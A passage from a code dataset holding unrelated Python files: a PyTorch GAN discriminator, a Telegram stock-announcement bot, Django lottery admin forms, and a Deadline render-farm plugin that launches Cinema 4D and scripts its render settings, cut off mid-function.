self).__init__()\n \n self.embedding_dim = embedding_dim\n \n self.create_graph()\n\n def forward(self, inp):\n\n logits = self.actual_model.forward(inp)\n \n probs = self.softmax(logits)\n \n return logits, probs\n\n\n def get_loss(self, inp, inp_y):\n logits, probs = self.forward(inp)\n # print(inp.size(), inp_y.size())\n # print(logits.size(), probs.size())\n\n loss = torch.nn.functional.binary_cross_entropy(probs.view(-1), inp_y)\n\n return loss\n\n\n # def step(self, inp, inp_y, optimizer):\n \n # loss = self.get_loss(inp, inp_y)\n # self.optimizer.zero_grad()\n # loss.backward()\n # opt = optimizer.step()\n\n # return loss, opt\n\n\n def cuda(self):\n self.is_cuda = True\n super(Discriminator, self).cuda()\n return self\n\n\n def parameters(self):\n return list(filter(lambda p: p.requires_grad, super(Discriminator, self).parameters()))\n \n \n def create_graph(self):\n \n n_hidden_1 = 2048\n n_hidden_2 = 2048\n\n self.actual_model = torch.nn.Sequential(\n torch.nn.Linear(self.embedding_dim, n_hidden_1),\n # torch.nn.BatchNorm1d(n_hidden_1),\n torch.nn.LeakyReLU(negative_slope=0.2),\n torch.nn.Linear(n_hidden_1, n_hidden_2),\n # torch.nn.Dropout(),\n # torch.nn.BatchNorm1d(n_hidden_2),\n torch.nn.LeakyReLU(negative_slope=0.2),\n torch.nn.Linear(n_hidden_2, 1),\n # torch.nn.Linear(n_hidden_1, 2)\n\n )\n\n\n self.softmax = torch.nn.Sigmoid()\n\n # self.loss_function = torch.nn.CrossEntropyLoss()\n # self.loss_function = torch.nn.functional.binary_cross_entropy\n\n self.optimizer = torch.optim.Adam(self.parameters())\n\n \n ","sub_path":"GAN/discriminator.py","file_name":"discriminator.py","file_ext":"py","file_size_in_byte":2041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"38235748","text":"from typing import Optional\n\nfrom typing_extensions import Literal\n\nfrom const import CHANNEL, TELEGRAM_URL\nfrom models import Stock\nfrom utils import (flush_the_image, handle_response, is_rightshare,\n mark_as_published)\n\n\ndef send_this_stock(stock: Stock) -> Optional[Literal[True]]:\n from image import generate\n endpoint = TELEGRAM_URL + 'sendPhoto'\n payload = {\n 'chat_id': CHANNEL,\n 'caption': stock_content(stock),\n 'parse_mode': 'HTML'\n }\n files = {'photo': generate(stock)}\n return handle_response(endpoint, payload, files=files, record_response=True, stock_id=stock.id)\n\n\ndef send_reminder(stock: Stock) -> Optional[Literal[True]]:\n endpoint = TELEGRAM_URL + 'sendMessage'\n payload = {\n 'chat_id': CHANNEL,\n 'text': reminding_content(stock),\n 'reply_to_message_id': stock.chat.message_id,\n 'parse_mode': 'HTML'\n }\n return handle_response(endpoint, payload)\n\n\ndef pin_message(stock: Stock) -> Optional[Literal[True]]:\n endpoint = TELEGRAM_URL + 'pinChatMessage'\n payload = {\n 'chat_id': CHANNEL,\n 'message_id': stock.chat.message_id,\n }\n return handle_response(endpoint, payload)\n\n\ndef stock_content(stock: Stock) -> str:\n from utils import hashtag\n without_pdf = f\"#Stock {hashtag(stock.stock_type)} #{stock.scrip}\"\n with_pdf = f'View PDF'\n return f'{without_pdf} · {with_pdf}' if stock.pdf_url else without_pdf\n\n\ndef reminding_content(stock: Stock) -> str:\n return f\"\"\"Reminder!\n\nDon't forget to apply for this {stock.stock_type} today.😊\n{stock.company_name}\n{is_rightshare(stock)}\n\"\"\"\n\n\ndef publish_stock(the_stock: Stock) -> bool:\n if send_this_stock(the_stock):\n mark_as_published(the_stock)\n flush_the_image(the_stock)\n return True\n return False\n\n\ndef remind_and_pin(the_stock: Stock) -> bool:\n if the_stock.chat.message_id:\n send_reminder(the_stock)\n pin_message(the_stock)\n return True\n return False\n","sub_path":"telegram.py","file_name":"telegram.py","file_ext":"py","file_size_in_byte":2143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"221110652","text":"# coding: utf-8\nfrom django import forms\n\nfrom app.lottery.models import Lottery, WinningNumberLog\n\n\nclass LotteryForm(forms.ModelForm):\n class Meta:\n model = Lottery\n exclude = ['created_by', 'is_available']\n widgets = {\n 'open_time': forms.TextInput(attrs={'data-role': 'datebox',\n 'data-options': '{\"mode\":\"timeflipbox\", \"overrideTimeOutput\": \"%H:%M\", \"overrideTimeFormat\": \"%H:%M\"}'}),\n 'close_time': forms.TextInput(attrs={'data-role': 'datebox',\n 'data-options': '{\"mode\":\"timeflipbox\", \"overrideTimeOutput\": \"%H:%M\", \"overrideTimeFormat\": \"%H:%M\"}'})\n }\n\n def clean(self):\n data = super(LotteryForm, self).clean()\n open_time = data.get('open_time')\n close_time = data.get('close_time')\n if open_time and close_time:\n if open_time >= close_time:\n raise forms.ValidationError(u\"Lottery open time must be less than close time\")\n return data\n\n\nclass LotteryEditForm(LotteryForm):\n class Meta(LotteryForm.Meta):\n exclude = ['created_by']\n\n\nclass StopNumbersForm(forms.Form):\n def __init__(self, *args, **kwargs):\n self.request = kwargs.pop('request')\n lottery_choices = kwargs.pop('queryset')\n super(StopNumbersForm, self).__init__(*args, **kwargs)\n self.fields['lottery'].queryset = lottery_choices\n\n lottery = forms.ModelChoiceField(label=u\"Lottery\", queryset=None)\n numbers = forms.CharField(label=u\"Comma-separated stop numbers\")\n\n def clean_numbers(self):\n data = self.cleaned_data['numbers']\n try:\n cleaned_numbers = [int(n) for n in data.split(',')]\n\n for n in cleaned_numbers:\n if n < 10 or n > 99:\n raise forms.ValidationError(u\"Stop number must contain only 2 digits\")\n\n except (ValueError, TypeError):\n raise forms.ValidationError(u\"Stop numbers must be valid numbers\")\n return cleaned_numbers\n\n\nclass WinningNumbersForm(forms.ModelForm):\n class Meta:\n model = WinningNumberLog\n fields = [\n 'winning_numbers_first_place',\n 'winning_numbers_second_place',\n 'winning_numbers_third_place',\n 'date_of_report'\n ]\n\n def clean_winning_numbers_first_place(self):\n fp_numbers = self.cleaned_data.get('winning_numbers_first_place', '')\n return fp_numbers.replace(' ', '')\n\n def clean_winning_numbers_second_place(self):\n sp_numbers = self.cleaned_data.get('winning_numbers_second_place', '')\n return sp_numbers.replace(' ', '')\n\n def clean_winning_numbers_third_place(self):\n tp_numbers = self.cleaned_data.get('winning_numbers_third_place', '')\n return tp_numbers.replace(' ', '')\n\n def clean(self):\n data = self.cleaned_data\n fp_numbers = self.cleaned_data.get('winning_numbers_first_place', '')\n sp_numbers = self.cleaned_data.get('winning_numbers_second_place', '')\n tp_numbers = self.cleaned_data.get('winning_numbers_third_place', '')\n if not all([fp_numbers, sp_numbers, tp_numbers]):\n raise forms.ValidationError(u\"You must enter all 3 numbers\")\n return data\n\n\nclass ReportForm(forms.Form):\n date_to = forms.DateField(label=u\"Date To\", required=False)\n date_from = forms.DateField(label=u\"Date From\", required=False)","sub_path":"app/lottery/siteadmin/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"283514042","text":"import io\nimport os\nimport tempfile\nimport traceback\n\nfrom System import *\nfrom System.Collections.Specialized import *\nfrom System.Diagnostics import *\nfrom System.IO import *\nfrom System.Text.RegularExpressions import *\nfrom System.Text import *\n\nfrom FranticX.Net import *\nfrom FranticX.Processes import *\n\nfrom Deadline.Plugins import *\nfrom Deadline.Scripting import *\n\n######################################################################\n## This is the function that Deadline calls to get an instance of the\n## main DeadlinePlugin class.\n######################################################################\ndef GetDeadlinePlugin():\n return Cinema4DBatchPlugin()\n\ndef CleanupDeadlinePlugin( deadlinePlugin ):\n deadlinePlugin.Cleanup()\n \n######################################################################\n## This is the main DeadlinePlugin class for the Cinema4D plugin.\n######################################################################\nclass Cinema4DBatchPlugin( DeadlinePlugin ):\n MyCinema4DController = None\n\n def __init__( self ):\n self.InitializeProcessCallback += self.InitializeProcess\n self.StartJobCallback += self.StartJob\n self.RenderTasksCallback += self.RenderTasks\n self.EndJobCallback += self.EndJob\n \n ## Called by Deadline to initialize the process.\n def InitializeProcess( self ):\n # Set the plugin specific settings.\n self.PluginType = PluginType.Advanced\n \n def Cleanup( self ):\n del self.InitializeProcessCallback\n \n ## Called by Deadline when the job is first loaded.\n def StartJob( self ):\n self.LogInfo( \"Start Job called - starting up Cinema 4D Batch plugin\" )\n \n self.MyCinema4DController = Cinema4DController(self)\n self.MyCinema4DController.SetRenderExecutable()\n # Initialize the Cinema4D controller.\n self.MyCinema4DController.slaveDirectory = self.GetSlaveDirectory()\n \n # Start Cinema4D.\n self.MyCinema4DController.StartCinema4D()\n \n def RenderTasks( self ):\n self.LogInfo( \"Render Tasks called\" )\n self.MyCinema4DController.RenderTasks()\n \n def EndJob( self ):\n self.LogInfo( \"End Job called - shutting down Cinema 4D Batch plugin\" )\n \n if self.MyCinema4DController:\n # End the Cinema4D job (unloads the scene file, etc).\n self.MyCinema4DController.EndCinema4DJob()\n \nclass Cinema4DController:\n Plugin = None\n ProgramName = \"Cinema4DProcess\"\n \n Cinema4DSocket = None\n Cinema4DStartupFile = \"\"\n slaveDirectory = \"\"\n Cinema4DFilename = \"\"\n Cinema4DRenderExecutable = \"\"\n ScriptFilename = \"\"\n ScriptJob = False\n \n ManagedCinema4DProcessRenderArgument = \"\"\n ManagedCinema4DProcessStartupDirectory = \"\"\n ManagedCinema4DProcessRenderExecutable = \"\"\n AuthentificationToken = \"\"\n \n LoadCinema4DTimeout = 1000\n ProgressUpdateTimeout = 8000\n \n LocalRendering = False\n NetworkFilePath = \"\"\n LocalFilePath = \"\"\n NetworkMPFilePath = \"\"\n LocalMPFilePath = \"\"\n \n FunctionRegex = Regex( \"FUNCTION: (.*)\" )\n SuccessMessageRegex = Regex( \"SUCCESS: (.*)\" )\n SuccessNoMessageRegex = Regex( \"SUCCESS\" )\n CanceledRegex = Regex( \"CANCELED\" )\n ErrorRegex = Regex( \"ERROR: (.*)\" )\n \n StdoutRegex = Regex( \"STDOUT: (.*)\" )\n WarnRegex = Regex( \"WARN: (.*)\" )\n \n def __init__( self, plugin ):\n self.Plugin = plugin\n self.ProgramName = \"Cinema4DProcess\"\n \n self.LoadCinema4DTimeout = self.Plugin.GetIntegerConfigEntryWithDefault( \"LoadC4DTimeout\", 1000 )\n self.ProgressUpdateTimeout = self.Plugin.GetIntegerConfigEntryWithDefault( \"ProgressUpdateTimeout\", 8000 )\n \n # Create the temp script file.\n self.renderTempDirectory = self.Plugin.CreateTempDirectory( \"thread\" + str(self.Plugin.GetThreadNumber()) )\n \n def Cleanup( self ):\n pass\n \n ########################################################################\n ## Main functions (to be called from Deadline Entry Functions)\n ########################################################################\n # Reads in the plugin configuration settings and sets up everything in preparation to launch Cinema4D.\n # Also does some checking to ensure a Cinema4D job can be rendered on this machine.\n \n def SetRenderExecutable( self ):\n version = self.Plugin.GetIntegerPluginInfoEntryWithDefault( \"Version\", 18 ) \n \n if version < 15:\n self.Plugin.FailRender( \"Cinema 4D \" + str(version) + \" is not supported for the Batch plugin, please use the normal Cinema 4D plugin.\")\n \n C4DExeList = self.Plugin.GetConfigEntry( \"C4D_\" + str(version) + \"_RenderExecutable\" )\n C4DExe = \"\"\n \n build = self.Plugin.GetPluginInfoEntryWithDefault( \"Build\", \"None\" ).lower().strip()\n \n if(SystemUtils.IsRunningOnWindows()):\n if( build == \"32bit\" ):\n self.Plugin.LogInfo( \"Enforcing 32 bit build of Cinema 4D\" )\n C4DExe = FileUtils.SearchFileListFor32Bit( C4DExeList )\n if( C4DExe == \"\" ):\n self.Plugin.LogWarning( \"32 bit Cinema 4D \" + str(version) + \" render executable was not found in the semicolon separated list \\\"\" + C4DExeList + \"\\\". Checking for any executable that exists instead.\" )\n elif( build == \"64bit\" ):\n self.Plugin.LogInfo( \"Enforcing 64 bit build of Cinema 4D\" )\n C4DExe = FileUtils.SearchFileListFor64Bit( C4DExeList )\n if( C4DExe == \"\" ):\n self.Plugin.LogWarning( \"64 bit Cinema 4D \" + str(version) + \" render executable was not found in the semicolon separated list \\\"\" + C4DExeList + \"\\\". Checking for any executable that exists instead.\" )\n \n if( C4DExe == \"\" ):\n self.Plugin.LogInfo( \"Not enforcing a build of Cinema 4D\" )\n C4DExe = FileUtils.SearchFileList( C4DExeList )\n if( C4DExe == \"\" ):\n self.Plugin.FailRender( \"Cinema 4D \" + str(version) + \" render executable was not found in the semicolon separated list \\\"\" + C4DExeList + \"\\\". The path to the render executable can be configured from the Plugin Configuration in the Deadline Monitor.\" )\n \n self.Cinema4DRenderExecutable = C4DExe \n \n def ProcessPath( self, filepath ):\n if SystemUtils.IsRunningOnWindows():\n filepath = filepath.replace(\"/\",\"\\\\\")\n if filepath.startswith( \"\\\\\" ) and not filepath.startswith( \"\\\\\\\\\" ):\n filepath = \"\\\\\" + filepath\n else:\n filepath = filepath.replace(\"\\\\\",\"/\")\n return filepath\n \n def StartCinema4D( self ):\n # Setup the command line parameters, and then start Cinema4D.\n sceneFile = self.Plugin.GetPluginInfoEntryWithDefault( \"SceneFile\", self.Plugin.GetDataFilename() )\n sceneFile = RepositoryUtils.CheckPathMapping( sceneFile )\n sceneFile = self.ProcessPath( sceneFile )\n \n pluginDir = self.Plugin.GetPluginDirectory()\n jobC4dPluginDirs = self.Plugin.GetProcessEnvironmentVariable( \"C4D_PLUGINS_DIR\" )\n sysC4dPluginDirs = os.getenv( \"C4D_PLUGINS_DIR\", \"\" )\n c4dPluginDirs = \"\"\n\n if not jobC4dPluginDirs == \"\":\n c4dPluginDirs = jobC4dPluginDirs\n elif not sysC4dPluginDirs == \"\":\n c4dPluginDirs = sysC4dPluginDirs\n\n if c4dPluginDirs:\n pluginDir += \";\"\n # Prepending our plugin dir due to a bug in R18 & R19 not supporting multiple paths for C4D_PLUGINS_DIR\n c4dPluginDirs = pluginDir + c4dPluginDirs\n\n self.Plugin.SetProcessEnvironmentVariable( \"C4D_PLUGINS_DIR\", c4dPluginDirs )\n self.Plugin.LogInfo( \"[C4D_PLUGINS_DIR] set to: \" + c4dPluginDirs )\n \n self.AuthentificationToken = str( DateTime.Now.TimeOfDay.Ticks )\n \n if SystemUtils.IsRunningOnLinux() and self.Plugin.GetBooleanConfigEntryWithDefault( \"SetLinuxEnvironment\", True ):\n c4dDir = os.path.dirname( self.Cinema4DRenderExecutable )\n ldPath = os.environ.get( \"LD_LIBRARY_PATH\", \"\" )\n pyPath = os.environ.get( \"PYTHONPATH\", \"\" )\n path = os.environ.get( \"PATH\", \"\" )\n \n modLdPath = \"%s/../lib64:%s/resource/modules/python/Python.linux64.framework/lib64:%s/resource/modules/embree.module/libs/linux64:%s\" % ( c4dDir, c4dDir, c4dDir, ldPath )\n modPyPath = \"%s/resource/modules/python/Python.linux64.framework/lib/python2.7:%s/resource/modules/python/Python.linux64.framework/lib64/python2.7/lib-dynload:%s\" % ( c4dDir, c4dDir, pyPath )\n modPath = \"%s:%s\" % ( path, c4dDir )\n \n self.Plugin.LogInfo( \"[LD_LIBRARY_PATH] set to %s\" % modLdPath )\n self.Plugin.LogInfo( \"[PYTHONPATH] set to %s\" % modPyPath )\n self.Plugin.LogInfo( \"[PATH] set to %s\" % modPath )\n self.Plugin.SetProcessEnvironmentVariable( \"LD_LIBRARY_PATH\", modLdPath )\n self.Plugin.SetProcessEnvironmentVariable( \"PYTHONPATH\", modPyPath )\n self.Plugin.SetProcessEnvironmentVariable( \"PATH\", modPath )\n\n # Initialize the listening socket.\n self.Cinema4DSocket = ListeningSocket()\n self.Cinema4DSocket.StartListening( 0, True, True, 10 )\n if not self.Cinema4DSocket.IsListening:\n self.Plugin.FailRender( \"Failed to open a port for listening to Cinema 4D\" )\n else:\n self.Plugin.LogInfo( \"Cinema 4D socket connection port: %d\" % self.Cinema4DSocket.Port )\n \n parameters = \"-nogui \"\n threads = self.Plugin.GetIntegerPluginInfoEntryWithDefault( \"Threads\", 0 )\n if threads > 0: \n parameters += \"\\\"-threads \" + str(threads) + \"\\\" \"\n\n selectedGPUs = self.GetGpuOverrides()\n if len( selectedGPUs ) > 0:\n for gpu in selectedGPUs:\n parameters += \"\\\"-redshift-gpu \" + str(gpu) + \"\\\" \"\n \n self.importTestFile = os.path.join( self.Plugin.CreateTempDirectory( \"importTest\" ), \"importCheck.txt\")\n\n parameters += '\"-DeadlineConnect %s %s \\'%s\\'\"' %( self.Cinema4DSocket.Port, self.AuthentificationToken, self.importTestFile )\n \n self.Plugin.LogInfo( \"Parameters: \"+parameters )\n self.LaunchCinema4D( self.Cinema4DRenderExecutable, parameters, Path.GetDirectoryName( self.Cinema4DRenderExecutable ) )\n self.WaitForConnection( \"Cinema 4D startup\" )\n self.Plugin.LogInfo( \"Connected to Cinema 4D\" )\n \n verbose = self.Plugin.GetBooleanConfigEntryWithDefault( \"Verbose\", False )\n \n self.Cinema4DSocket.Send( \"Verbose:\" + str( verbose ) )\n self.Plugin.LogInfo( self.PollUntilComplete( False ) )\n\n self.Cinema4DSocket.Send( \"DeadlineStartup:\" + sceneFile )\n self.Plugin.LogInfo( self.PollUntilComplete( False ) )\n\n self.SendPathMapping()\n\n def GetGpuOverrides( self ):\n # If the number of gpus per task is set, then need to calculate the gpus to use.\n gpusPerTask = self.Plugin.GetIntegerPluginInfoEntryWithDefault( \"GPUsPerTask\", 0 )\n gpusSelectDevices = self.Plugin.GetPluginInfoEntryWithDefault( \"GPUsSelectDevices\", \"\" )\n resultGPUs = []\n\n if self.Plugin.OverrideGpuAffinity():\n overrideGPUs = self.Plugin.GpuAffinity()\n if gpusPerTask == 0 and gpusSelectDevices != \"\":\n gpus = gpusSelectDevices.split( \",\" )\n notFoundGPUs = []\n for gpu in gpus:\n if int( gpu ) in overrideGPUs:\n resultGPUs.append( gpu )\n else:\n notFoundGPUs.append( gpu )\n \n if len( notFoundGPUs ) > 0:\n self.Plugin.LogWarning( \"The Slave is overriding its GPU affinity and the following GPUs do not match the Slaves affinity so they will not be used: \" + \",\".join(notFoundGPUs) )\n if len( resultGPUs ) == 0:\n self.Plugin.FailRender( \"The Slave does not have affinity for any of the GPUs specified in the job.\" ) \n elif gpusPerTask > 0:\n if gpusPerTask > len( overrideGPUs ):\n self.Plugin.LogWarning( \"The Slave is overriding its GPU affinity and the Slave only has affinity for \" + str( len( overrideGPUs ) ) + \" Slaves of the \" + str( gpusPerTask ) + \" requested.\" )\n resultGPUs = overrideGPUs\n else:\n resultGPUs = list( overrideGPUs )[:gpusPerTask]\n else:\n resultGPUs = overrideGPUs\n elif gpusPerTask == 0 and gpusSelectDevices != \"\":\n resultGPUs = gpusSelectDevices.split( \",\" )\n\n elif gpusPerTask > 0:\n gpuList = []\n for i in range( ( self.Plugin.GetThreadNumber() * gpusPerTask ), ( self.Plugin.GetThreadNumber() * gpusPerTask ) + gpusPerTask ):\n gpuList.append( str( i ) )\n resultGPUs = gpuList\n \n resultGPUs = list( resultGPUs )\n \n return resultGPUs\n \n def SendPathMapping( self ):\n pathMappings = RepositoryUtils.GetPathMappings()\n if len( pathMappings ) > 0:\n args = [ self.Plugin.CreateTempDirectory( \"pathmapping\" ) ]\n texPathFile = self.createTexturePathFile( )\n if texPathFile:\n args.append( texPathFile )\n \n self.Cinema4DSocket.Send( \"Pathmap:\" + \";\".join(args) )\n self.Plugin.LogInfo( self.PollUntilComplete( False ) )\n \n def createTexturePathFile( self ):\n texPathFileName = None\n if self.Plugin.GetBooleanPluginInfoEntryWithDefault( \"HasTexturePaths\", False ):\n texPathFileName = os.path.join( self.renderTempDirectory, \"texturePaths.txt\" )\n with io.open( texPathFileName, mode=\"w\", encoding=\"utf-8\" ) as texPathFile:\n for index in range(10):\n texPath = self.Plugin.GetPluginInfoEntryWithDefault( \"TexturePath%s\" % index, \"\" )\n texPathFile.write( RepositoryUtils.CheckPathMapping( texPath )+ \"\\n\" )\n \n return texPathFileName\n \n def writeSetTakeData( self, scriptBuilder, activeTake ):\n scriptBuilder.AppendLine( )\n scriptBuilder.AppendLine( \"# Iterate through objects in take (op)\" )\n scriptBuilder.AppendLine( \"def GetNextObject( op ):\" )\n scriptBuilder.AppendLine( \" if op==None:\" )\n scriptBuilder.AppendLine( \" return None\" )\n scriptBuilder.AppendLine( \" if op.GetDown():\" )\n scriptBuilder.AppendLine( \" return op.GetDown()\" )\n scriptBuilder.AppendLine( \" while not op.GetNext() and op.GetUp():\" )\n scriptBuilder.AppendLine( \" op = op.GetUp()\" )\n scriptBuilder.AppendLine( \" return op.GetNext()\" ) \n \n scriptBuilder.AppendLine( )\n scriptBuilder.AppendLine( \"from c4d.modules import takesystem\" )\n scriptBuilder.AppendLine( \"takeData = deadlineDoc.GetTakeData()\" ) \n scriptBuilder.AppendLine( \"mainTake = takeData.GetMainTake()\" )\n scriptBuilder.AppendLine( \"take = GetNextObject( mainTake )\" )\n scriptBuilder.AppendLine( )\n scriptBuilder.AppendLine( \"while take is not None:\" )\n scriptBuilder.AppendLine( \" if take.GetName() == \\\"\"+activeTake+\"\\\":\" )\n scriptBuilder.AppendLine( \" takeData.SetCurrentTake(take)\" )\n scriptBuilder.AppendLine( \" break\" )\n scriptBuilder.AppendLine( \" take = GetNextObject( take )\" )\n scriptBuilder.AppendLine( )\n scriptBuilder.AppendLine( \"if take is not None:\" )\n scriptBuilder.AppendLine( \" effectiveRenderData = take.GetEffectiveRenderData( takeData )\" )\n scriptBuilder.AppendLine( \" if effectiveRenderData is not None:\" )\n scriptBuilder.AppendLine( \" rd = effectiveRenderData[ 0 ]\" )\n \n def RenderTasks( self ):\n self.Plugin.LogInfo(\"Pre Build Script\")\n renderer = self.Plugin.GetPluginInfoEntryWithDefault( \"Renderer\", \"\" )\n \n self.ScriptJob = self.Plugin.GetBooleanPluginInfoEntryWithDefault( \"ScriptJob\", False )\n \n if self.ScriptJob:\n self.Plugin.LogInfo( \"This is a Python Script Job\" )\n\n self.ScriptFilename = self.Plugin.GetPluginInfoEntryWithDefault( \"ScriptFilename\", \"\" )\n\n if not Path.IsPathRooted( self.ScriptFilename ):\n self.ScriptFilename = os.path.join( self.Plugin.GetJobsDataDirectory(), self.ScriptFilename )\n else:\n self.ScriptFilename = RepositoryUtils.CheckPathMapping( self.ScriptFilename )\n self.ScriptFilename = self.ProcessPath( self.ScriptFilename )\n\n if not File.Exists( self.ScriptFilename ):\n self.Plugin.FailRender( \"Python Script File is missing: %s\" % self.ScriptFilename )\n\n else:\n scriptBuilder = StringBuilder()\n \n if renderer == \"\":\n self.RegionRendering = self.Plugin.GetBooleanPluginInfoEntryWithDefault( \"RegionRendering\", False )\n self.SingleFrameRegionJob = self.Plugin.IsTileJob()\n self.SingleFrameRegionFrame = str(self.Plugin.GetStartFrame())\n self.SingleFrameRegionIndex = self.Plugin.GetCurrentTaskId()\n \n if self.RegionRendering and self.SingleFrameRegionJob:\n self.StartFrame = str(self.SingleFrameRegionFrame)\n self.EndFrame = str(self.SingleFrameRegionFrame)\n else:\n self.StartFrame = str(self.Plugin.GetStartFrame())\n self.EndFrame = str(self.Plugin.GetEndFrame())\n\n scriptBuilder.AppendLine()\n scriptBuilder.AppendLine( \"#!/usr/bin/python\" )\n scriptBuilder.AppendLine( \"# -*- coding: utf-16-le -*-\" )\n scriptBuilder.AppendLine( \"import c4d\" )\n scriptBuilder.AppendLine( \"from c4d import bitmaps\" )\n scriptBuilder.AppendLine( \"from c4d import documents\" )\n scriptBuilder.AppendLine()\n scriptBuilder.AppendLine( \"deadlineDoc = documents.GetActiveDocument()\" )\n scriptBuilder.AppendLine( \"rd = deadlineDoc.GetActiveRenderData()\" )\n \n activeTake = self.Plugin.GetPluginInfoEntryWithDefault( \"Take\", \"\" )\n if not activeTake == \"\" and self.Plugin.GetIntegerPluginInfoEntryWithDefault( \"Version\", 17 ) >= 17 :\n self.writeSetTakeData( scriptBuilder, activeTake )\n \n scriptBuilder.AppendLine( \"fps = int( rd[c4d.RDATA_FRAMERATE] )\" )\n scriptBuilder.AppendLine( \"rd[c4d.RDATA_FRAMESEQUENCE] = c4d.RDATA_FRAMESEQUENCE_MANUAL\" )\n scriptBuilder.AppendLine( \"rd[c4d.RDATA_FRAMEFROM]=c4d.BaseTime(\" + str(self.StartFrame ) + \", fps)\" )\n scriptBuilder.AppendLine( \"rd[c4d.RDATA_FRAMETO]=c4d.BaseTime(\" + str( self.EndFrame ) + \", fps)\" )\n scriptBuilder.AppendLine( \"rd[c4d.RDATA_FRAMESTEP]=1\")\n \n width = self.Plugin.GetIntegerPluginInfoEntryWithDefault( \"Width\", 0 )\n height = self.Plugin.GetIntegerPluginInfoEntryWithDefault( \"Height\", 0 )\n if width > 0 and height > 0:\n scriptBuilder.AppendLine( )\n scriptBuilder.AppendLine( \"rd[c4d.RDATA_XRES]=\" + str( width ) )\n scriptBuilder.AppendLine( \"rd[c4d.RDATA_YRES]=\" + str( height ) )\n \n if self.RegionRendering:\n scriptBuilder.AppendLine( )\n scriptBuilder.AppendLine( \"rd[c4d.RDATA_RENDERREGION] = True\" )\n \n if self.SingleFrameRegionJob:\n self.Left = self.Plugin.GetPluginInfoEntryWithDefault( \"RegionLeft\" + self.SingleFrameRegionIndex, \"0\" )\n self.Right = self.Plugin.GetPluginInfoEntryWithDefault( \"RegionRight\" + self.SingleFrameRegionIndex, \"0\" )\n self.Top = self.Plugin.GetPluginInfoEntryWithDefault( \"RegionTop\" + self.SingleFrameRegionIndex, \"0\" )\n self.Bottom = self.Plugin.GetPluginInfoEntryWithDefault( \"RegionBottom\" + self.SingleFrameRegionIndex, \"0\" )\n else:\n self.Left = self.Plugin.GetPluginInfoEntryWithDefault( \"RegionLeft\", \"0\" ).strip()\n self.Right = self.Plugin.GetPluginInfoEntryWithDefault( \"RegionRight\", \"0\" ).strip()\n self.Top = self.Plugin.GetPluginInfoEntryWithDefault( \"RegionTop\", \"0\" ).strip()\n self.Bottom = self.Plugin.GetPluginInfoEntryWithDefault( \"RegionBottom\", \"0\" ).strip()\n \n scriptBuilder.AppendLine( \"rd[c4d.RDATA_RENDERREGION_LEFT] = %s\" % self.Left )\n scriptBuilder.AppendLine( \"rd[c4d.RDATA_RENDERREGION_TOP] = %s\" % self.Top )\n scriptBuilder.AppendLine( \"rd[c4d.RDATA_RENDERREGION_RIGHT] = %s\" % self.Right )\n scriptBuilder.AppendLine( \"rd[c4d.RDATA_RENDERREGION_BOTTOM] = %s\" % self.Bottom )\n \n self.LocalRendering = self.Plugin.GetBooleanPluginInfoEntryWithDefault( \"LocalRendering\", False )\n # Build the output filename from the path and prefix\n filepath = self.Plugin.GetPluginInfoEntryWithDefault( \"FilePath\", \"\" ).strip()\n filepath = RepositoryUtils.CheckPathMapping( filepath )\n if filepath != \"\":\n filepath = self.ProcessPath( filepath )\n \n if self.LocalRendering:\n self.NetworkFilePath, postTokens = self.SplitTokens( filepath )\n self.ValidateFilepath( self.NetworkFilePath )\n \n filepath = self.Plugin.CreateTempDirectory( \"c4dOutput\" )\n filepath = self.ProcessPath( filepath )\n \n self.LocalFilePath = filepath\n self.ValidateFilepath( self.LocalFilePath )\n \n filepath = os.path.join(filepath, postTokens)\n filepath = self.ProcessPath( filepath )\n \n self.Plugin.LogInfo( \"Rendering main output to local drive, will copy files and folders to final location after render is complete\")\n else:\n self.ValidateFilepath( filepath )\n\n self.Plugin.LogInfo( \"Rendering main output to network drive\" )\n \n fileprefix = \"\"\n if self.RegionRendering and self.SingleFrameRegionJob:\n fileprefix = self.Plugin.GetPluginInfoEntryWithDefault( ( \"RegionPrefix%s\" % self.SingleFrameRegionIndex ), \"\" ).strip()\n else:\n fileprefix = self.Plugin.GetPluginInfoEntryWithDefault( \"FilePrefix\", \"\" ).strip()\n scriptBuilder.AppendLine()\n outputPath = os.path.join( filepath, fileprefix )\n outputPath = outputPath.replace( \"\\\\\", \"\\\\\\\\\" ) # Escape the backslashes in the path\n\n\n scriptBuilder.AppendLine(\"rd[c4d.RDATA_MULTIPASS_SAVEIMAGE]= True\")\n scriptBuilder.AppendLine(\"rd[c4d.RDATA_SAVEIMAGE]= True\")\n scriptBuilder.AppendLine( \"rd[c4d.RDATA_PATH]=\\\"\" + outputPath + \"\\\"\" )\n \n # Build the multipass output filename from the path and prefix\n multifilepath = self.Plugin.GetPluginInfoEntryWithDefault( \"MultiFilePath\", \"\" ).strip()\n multifilepath = RepositoryUtils.CheckPathMapping( multifilepath )\n if(multifilepath != \"\"):\n multifilepath = self.ProcessPath( multifilepath )\n\n if self.LocalRendering:\n self.NetworkMPFilePath, postTokens = self.SplitTokens( multifilepath )\n self.ValidateFilepath( self.NetworkMPFilePath )\n \n multifilepath = self.Plugin.CreateTempDirectory( \"c4dOutputMP\" )\n multifilepath = self.ProcessPath( multifilepath )\n \n self.LocalMPFilePath = multifilepath\n self.ValidateFilepath( self.LocalMPFilePath )\n \n multifilepath = os.path.join(multifilepath, postTokens)\n multifilepath = self.ProcessPath( multifilepath )\n \n self.Plugin.LogInfo( \"Rendering multipass output to local drive, will copy files and folders to final location after render is complete\" )\n else:\n self.ValidateFilepath( multifilepath )\n\n self.Plugin.LogInfo( \"Rendering multipass output to network drive\" )\n \n multifileprefix = \"\"\n if self.RegionRendering and self.SingleFrameRegionJob:\n multifileprefix = self.Plugin.GetPluginInfoEntryWithDefault( ( \"MultiFileRegionPrefix%s\" % self.SingleFrameRegionIndex ), \"\" ).strip()\n else:\n multifileprefix = self.Plugin.GetPluginInfoEntryWithDefault( \"MultiFilePrefix\", \"\" ).strip()\n \n scriptBuilder.AppendLine( )\n outputMultiFilePath = os.path.join( multifilepath, multifileprefix )\n outputMultiFilePath = outputMultiFilePath.replace( \"\\\\\", \"\\\\\\\\\" )\n \n scriptBuilder.AppendLine( \"rd[c4d.RDATA_MULTIPASS_FILENAME]=\\\"\" + outputMultiFilePath + \"\\\"\" )\n \n 